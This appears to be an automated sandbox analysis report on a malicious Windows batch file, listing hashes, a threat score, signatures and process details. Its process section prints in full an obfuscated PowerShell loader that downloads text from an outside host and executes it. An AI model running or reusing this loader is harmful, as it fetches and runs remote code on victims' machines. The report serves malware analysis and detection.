Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    21-02-2024 13:57

General

  • Target

    doc20242102070611.bat

  • Size

    910B

  • MD5

    0a4c91bef832d0127d748ee10069295a

  • SHA1

    5e3b6385df4b1dc17cc0dd46e75294fd07f9370f

  • SHA256

    c8b3d04f87e949c97d4065f8cc667fbd4732dee185bea5d5b8a149aaf2f40987

  • SHA512

    7fef3749b165365813a691b81c19208c58713770f57e3003d565ee3d84abec58bdd2d5ca762523f88aa8f7a4f69bc9cc386d0cef4b73c0b23aeeee73cccb6ad3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\doc20242102070611.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://avrsystems.be/G9.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2120

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2120-4-0x000000001B390000-0x000000001B672000-memory.dmp

    Filesize

    2.9MB

  • memory/2120-5-0x00000000022E0000-0x00000000022E8000-memory.dmp

    Filesize

    32KB

  • memory/2120-6-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2120-7-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2120-8-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

    Filesize

    9.6MB

  • memory/2120-9-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2120-10-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2120-11-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2120-12-0x0000000002820000-0x00000000028A0000-memory.dmp

    Filesize

    512KB

  • memory/2120-13-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

    Filesize

    9.6MB